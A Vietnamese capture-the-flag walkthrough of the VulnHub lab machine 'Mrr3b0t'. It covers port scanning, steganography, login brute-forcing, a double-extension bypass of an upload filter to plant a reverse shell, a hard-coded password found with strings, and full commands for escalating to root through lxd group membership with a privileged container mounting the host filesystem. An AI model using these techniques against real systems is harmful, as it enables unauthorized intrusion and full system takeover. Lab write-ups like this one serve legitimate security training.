Download: Bizarre Adventure: Mrr3b0t VulnHub
Network Scanning
1
arp-scan -l
1
nmap 10.0.2.18 -p- -sC -sV
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~]
└─$ nmap 10.0.2.18 -p- -sC -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-22 00:15 EDT
Nmap scan report for 10.0.2.18
Host is up (0.0012s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 98:b7:f5:6b:0d:58:1d:7b:58:7d:1a:99:fb:b1:8f:04 (RSA)
| 256 66:b4:4b:40:e6:c9:76:93:31:aa:fc:ff:9a:40:a9:f9 (ECDSA)
|_ 256 55:c6:b2:01:0f:16:1c:68:96:e2:bb:b1:fe:ff:59:c2 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Eskwela Template
|_http-server-header: Apache/2.4.29 (Ubuntu)
5355/tcp open llmnr?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 149.34 seconds
Quét được 4 cổng đang open, trong đó có 2 cổng đã quá quen thuộc 80 http và 20 ssh. Thử đi vào cổng 80 dịch vụ web:
Enumeration
1
gobuster dir -u http://10.0.2.18/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Quét ra một số thư mục, trong đó có /administrator
là 1 trang đăng nhập. Chưa có thông tin nên ta tiếp tục khai phá các thư mục còn lại xem tìm kiếm được gì không. Trong thư mục /images
, phát hiện được 1 số tập tin hay ho:
1
2
flag.txt.txt 2020-09-16 18:53 43
hidden.png 2020-09-16 18:52 91K
Exploitation
1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ curl 10.0.2.18/images/flag.txt.txt
Almost!
Did you notice something hidden?
Vậy là có thể thứ ta cần tìm sẽ nằm ở file hidden.png
kia.
1
zsteg hidden.png
Dùng zsteg extract được 1 dòng text thú vị
Với thông tin ở trên xác định được username là mrrobot
, việc còn lại là tìm ra password.
Mở Burp lên và bắt gói tin đăng nhập gửi lên server.
1
username=mrrobot&pass=abc
Body request cho thấy gói tin để xác thực user gửi lên server với 2 tham số username
, pass
và chúng đều được truyền dưới dạng cleartext. Dựa vào điều này ta hoàn toàn có thể bruteforce tham số pass
với username
là tham số đã biết.
Với wordlist có sẵn của Burp ta cũng có thể tìm ra được pass (hoặc một số wordlist thông dụng khác như rockyou.txt…)
Sau khi login vô /administrator
, xuất hiện 1 trang upload.
Sử dụng Wappalyzer extension quét được một số thông tin, trong đó phát hiện được ngôn ngữ được chạy trên máy chủ là PHP
Đã biết ngôn ngữ chạy trên server rồi thì bước tiếp theo là tiến hành khai thác xem liệu server có chứa lỗ hổng file upload hay không.
Có thể thấy, file php mà ta upload đã bị chặn, thay vào đó server chỉ cho phép upload ảnh có định dạng nằm trong whitelist jpg, jpeg, gif, png.
Có thể phía backend filter không kĩ càng khi tách tên file thành mảng có 2 phần tử phân cách bởi dấu chấm và chỉ xem xét phần tử thứ 2 và coi nó như là đuôi file. Mà.. thằng HTTPD chỉ nhìn vào đuôi cuối cùng của tên file để xem xét có xử lý hay không nên ta có thể dễ dàng bypass như cách trên.
Up reverse shell và tiến hành RCE.
Privilege Escalation
1
2
3
www-data@mrr3b0t:/$ ls /home
ls /home
exploiter
Có 1 user trong thư mục home, trước mắt là leo thang lên user này.
Other user
Trong thư mục lưu trữ source code của apache, ngoài DocumentRoot của web server hiện thời ra, còn sót một thư mục khác có tên bf
.
1
2
www-data@mrr3b0t:/var/www$ ls
bf html
1
2
3
4
5
www-data@mrr3b0t:/var/www$ cd bf
www-data@mrr3b0t:/var/www/bf$ ls
buffer
www-data@mrr3b0t:/var/www/bf$ file buffer
buffer: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d870ae3a0c4c68f57dede236b914138be4074732, not stripped
Thử strings ra xem có gì..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@mrr3b0t:/var/www/bf$ strings buffer
/lib64/ld-linux-x86-64.so.2
libc.so.6
...
...
...
Digite a senha:
MrR0b0t121
Senha errada
Senha Correta
Password@123
...
...
...
Có 1 chuỗi chứa từ khóa Password, khả năng đây là mật khẩu có thể dùng được. Nhưng vẫn chưa chắc chắn về điều này nên tôi cứng đầu bruteforce để tìm ra password cho thằng exploiter
. Sau gần 3 ngày treo máy zui zui, kết quả tìm ra cũng chính là password mà mình nghi ngờ.
1
2
3
4
www-data@mrr3b0t:/var/www/bf$ su exploiter
Password: Password@123
exploiter@mrr3b0t:/var/www/bf$
Root
1
2
exploiter@mrr3b0t:~$ id
uid=1000(exploiter) gid=1000(exploiter) groups=1000(exploiter),24(cdrom),30(dip),46(plugdev),111(lxd),118(lpadmin),119(sambashare)
Check id thấy được user này thuộc group 111(lxd), được dùng để tạo và quản lý các containers của Linux. Quá là may, mình có thể leo root nhờ thằng user thuộc lxd group này. Có rất nhiều bài viết nói về trick này rồi, nên mình sẽ không giải thích nhiều (Đọc thêm tại đây)
Step 1: Tạo image trên máy local
Clone saghul/lxd-alpine-builder, sau đó chạy file lxd-alpine-builder/build-alpine
để tạo một image mới.
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/lxd-alpine-builder]
└─$git clone https://github.com/saghul/lxd-alpine-builder
...
┌──(kali㉿kali)-[~/lxd-alpine-builder]
└─$cd lxd-alpine-builder
┌──(kali㉿kali)-[~/lxd-alpine-builder]
└─$ sudo ./build-alpine
...
Sau khi chạy xong sẽ sinh ra một file .tar.gz mới, chạy http server và truyền file qua máy victim để import image.
1
2
┌──(kali㉿kali)-[~/lxd-alpine-builder]
└─$ python3 -m http.server 8000
Step 2: Khởi tạo lxd và Import image vào máy victim
1
2
3
exploiter@mrr3b0t:/tmp$ wget http://10.0.2.15:8000/alpine-v3.18-x86_64-20230925_0531.tar.gz
exploiter@mrr3b0t:/tmp$ ls
alpine-v3.18-x86_64-20230925_0531.tar.gz
1
2
3
4
5
6
7
8
9
10
11
exploiter@mrr3b0t:/tmp$ lxd init
...
...
exploiter@mrr3b0t:/tmp$ lxc image import alpine-v3.18-x86_64-20230925_0531.tar.gz --alias alpine_image
Image imported with fingerprint: 9f78e02a3c7f2fe0e446fb729fd4a6ad92d16b3a942203416420e1fe92a3c038
exploiter@mrr3b0t:/tmp$ lxc image list
+--------------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+--------------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| alpine_image | 9f78e02a3c7f | no | alpine v3.18 (20230925_05:31) | x86_64 | 3.62MB | Sep 25, 2023 at 9:43am (UTC) |
+--------------+--------------+--------+-------------------------------+--------+--------+------------------------------+
Step 3: Tạo container và gắn vào thư mục /root
1
exploiter@mrr3b0t:/tmp$ lxc init alpine_image hehe -c security.privileged=true
Việc chúng ta set security.privileged=true
sẽ giúp duy trì đặc quyền root trong toàn bộ hệ thống victim, kể cả khi thoát khỏi container.
1
2
3
4
5
6
exploiter@mrr3b0t:/tmp$ lxc list
+------+---------+------+------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+------+------+------------+-----------+
| hehe | STOPPED | | | PERSISTENT | 0 |
+------+---------+------+------+------------+-----------+
Mount container vào thư mục root
1
2
exploiter@mrr3b0t:/tmp$ lxc config device add hehe mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to hehe
Step 4: start container và thực hiện leo quyền
1
2
3
4
5
6
7
exploiter@mrr3b0t:/tmp$ lxc start hehe
exploiter@mrr3b0t:/tmp$ lxc list
+------+---------+------+------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+---------+------+------+------------+-----------+
| hehe | RUNNING | | | PERSISTENT | 0 |
+------+---------+------+------+------------+-----------+
bÙm…
1
2
3
exploiter@mrr3b0t:/tmp$ lxc exec hehe /bin/sh
~ # id
uid=0(root) gid=0(root)
cd tới thư mục /mnt/root, vì file system của victim được mount tại đây.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# cd /mnt/root/root
/mnt/root/root # ls
flag.txt.txt
/mnt/root/root # cat flag*
cat flag*
uuuuuuu
uu$$$$$$$$$$$uu
uu$$$$$$$$$$$$$$$$$uu
u$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$$$$$$$$$$$$$$$$$$$$u
u$$$$$$" "$$$" "$$$$$$u
"$$$$" u$u $$$$"
$$$u u$u u$$$
$$$u u$$$u u$$$
"$$$$uu$$$ $$$uu$$$$"
"$$$$$$$" "$$$$$$$"
u$$$$$$$u$$$$$$$u
u$"$"$"$"$"$"$u
uuu $$u$ $ $ $ $u$$ uuu
u$$$$ $$$$$u$u$u$$$ u$$$$
$$$$$uu "$$$$$$$$$" uu$$$$$$
u$$$$$$$$$$$uu """"" uuuu$$$$$$$$$$
$$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$"
""" ""$$$$$$$$$$$uu ""$"""
uuuu ""$$$$$$$$$$uuu
u$$$uuu$$$$$$$$$uu ""$$$$$$$$$$$uuu$$$
$$$$$$$$$$"""" ""$$$$$$$$$$$"
"$$$$$" ""$$$$""
$$$" $$$$"
#This is FLAG#